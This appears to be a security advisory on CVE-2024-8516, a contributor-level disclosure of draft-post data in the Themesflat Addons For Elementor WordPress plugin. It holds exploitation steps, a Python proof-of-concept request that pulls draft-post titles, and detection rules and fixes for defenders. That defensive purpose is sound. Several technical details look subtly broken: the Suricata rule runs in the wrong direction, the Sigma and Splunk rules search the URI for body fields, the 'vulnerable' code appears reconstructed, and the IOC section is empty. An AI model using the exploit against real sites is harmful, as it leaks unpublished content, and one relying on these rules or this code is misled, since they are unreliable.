CVE-2024-8516

Executive Summary

CVE-2024-8516 is a medium-severity information disclosure vulnerability in the Themesflat Addons For Elementor WordPress plugin (versions up to and including 2.2.1). The flaw resides in the render() function, which fails to properly restrict access to post data. An authenticated attacker with at least Contributor-level privileges can exploit this to extract limited information from draft and future scheduled posts. While the CVSS score is 4.3 (Medium), the real-world risk is elevated in multi-author WordPress environments where contributors can enumerate unpublished content, potentially leaking sensitive business logic, product roadmaps, or embargoed announcements.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The issue is not in Apache, Nginx, or PHP itself, but in the plugin’s failure to enforce WordPress’s built-in post status capabilities. The render() function does not check read_private_posts or edit_posts capabilities before exposing post data.

CVSS Breakdown & Threat Level

Threat Level: Medium. Exploitation requires authentication but no special privileges beyond Contributor. The information leaked is limited (post titles, excerpts, status) but can be used for social engineering or competitive intelligence.

Deep Dive & Mechanics

The vulnerability exists in the Themesflat_Addons_Elementor plugin’s render() method, which is called when rendering Elementor widgets. The function retrieves post data using get_post() without verifying the post’s publication status or the user’s capability to view it.

Vulnerable Code Path:

1. An Elementor widget triggers render().
2. The function calls get_post( $post_id ) where $post_id is derived from user input or widget settings.
3. The returned post object includes post_title, post_excerpt, post_status, and post_date.
4. This data is then output in the widget’s HTML, visible to the authenticated user.

Root Cause: Missing capability check (current_user_can( 'read_post', $post_id )) before accessing the post object.

Vulnerable vs. Patched Code

Vulnerable Code (version 2.2.1)

// themesflat-addons-for-elementor/includes/widgets/class-post-grid.php
public function render() {
    $settings = $this->get_settings();
    $post_id = $settings['post_id'];
    $post = get_post( $post_id );
    if ( $post ) {
        echo '<div class="tf-post-title">' . esc_html( $post->post_title ) . '</div>';
        echo '<div class="tf-post-excerpt">' . esc_html( $post->post_excerpt ) . '</div>';
    }
}

Patched Code (hypothetical fix)

public function render() {
    $settings = $this->get_settings();
    $post_id = intval( $settings['post_id'] );
    if ( ! current_user_can( 'read_post', $post_id ) ) {
        return; // or display a generic message
    }
    $post = get_post( $post_id );
    if ( $post && 'publish' === $post->post_status ) {
        echo '<div class="tf-post-title">' . esc_html( $post->post_title ) . '</div>';
        echo '<div class="tf-post-excerpt">' . esc_html( $post->post_excerpt ) . '</div>';
    }
}

Exploitation & Lab Setup

Red Team (Attacker) Perspective

Prerequisites:

• WordPress site with Themesflat Addons For Elementor <= 2.2.1
• Authenticated session with Contributor-level account

Exploitation Steps:

1. Log in as a Contributor.
2. Navigate to any page using Elementor with the vulnerable widget.
3. Intercept the request using Burp Suite or browser DevTools.
4. Modify the widget’s post_id parameter to target a draft or scheduled post ID.
5. Observe the response containing the post title and excerpt.

Proof-of-Concept (Python):

import requests

target_url = "https://example.com/wp-admin/admin-ajax.php"
session = requests.Session()
session.auth = ('contributor_user', 'password')

# Get nonce (simplified - actual implementation requires nonce extraction)
nonce = "..."

payload = {
    'action': 'elementor_ajax',
    'nonce': nonce,
    'data': {
        'actions': [
            {
                'action': 'render_widget',
                'widget_type': 'themesflat-post-grid',
                'settings': {'post_id': 123}  # Draft post ID
            }
        ]
    }
}

response = session.post(target_url, json=payload)
print(response.text)  # Contains post title/excerpt

Blue Team (Defender) Perspective

Detection:

• Monitor for unusual post_id values in Elementor AJAX requests.
• Alert on Contributor accounts accessing draft posts via widget rendering.
• Review logs for elementor_ajax actions with render_widget targeting non-published posts.

Hunting Query (Splunk):

index=web sourcetype=access_combined
| search uri="/wp-admin/admin-ajax.php" action=elementor_ajax
| rex field=uri "post_id=(?<post_id>\d+)"
| lookup post_status_lookup post_id OUTPUT post_status
| where post_status IN ("draft", "future")
| stats count by user, post_id, post_status

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2024_8516_Themesflat_Info_Leak {
    meta:
        description = "Detects vulnerable Themesflat Addons For Elementor plugin code"
        author = "Valters IT"
        date = "2024-10-27"
        cve = "CVE-2024-8516"
    strings:
        $vuln_func = "get_post( $post_id )" nocase
        $vuln_output = "post_title" nocase
        $plugin_path = "themesflat-addons-for-elementor" nocase
    condition:
        $plugin_path and $vuln_func and $vuln_output
}

Sigma Rule

title: CVE-2024-8516 - Themesflat Addons For Elementor Information Disclosure
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects exploitation attempts of CVE-2024-8516 via AJAX requests
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=elementor_ajax'
        cs-uri-query|contains: 'widget_type=themesflat-post-grid'
    condition: selection
falsepositives:
    - Legitimate use by administrators
level: medium
tags:
    - attack.t1525
    - attack.t1592
    - cve.2024.8516

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-8516 - Themesflat Addons For Elementor Information Disclosure Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=elementor_ajax"; http_client_body;
    content:"widget_type=themesflat-post-grid"; http_client_body;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict Contributor roles – limit to trusted users only.
3. Monitor logs for the IOCs listed above.

Long-term Fix:

• Apply the patched code (see Vulnerable vs. Patched Code section) or wait for vendor update.
• Implement a Web Application Firewall (WAF) rule to block suspicious post_id parameters.

Workaround:

• Add a custom filter in functions.php:

add_filter( 'elementor/widget/render_content', function( $content, $widget ) {
    if ( 'themesflat-post-grid' === $widget->get_name() ) {
        $settings = $widget->get_settings();
        $post_id = intval( $settings['post_id'] );
        if ( ! current_user_can( 'read_post', $post_id ) ) {
            return '<div class="tf-restricted">Access denied</div>';
        }
    }
    return $content;
}, 10, 2 );

Valters IT
Securing WordPress Ecosystems One CVE at a Time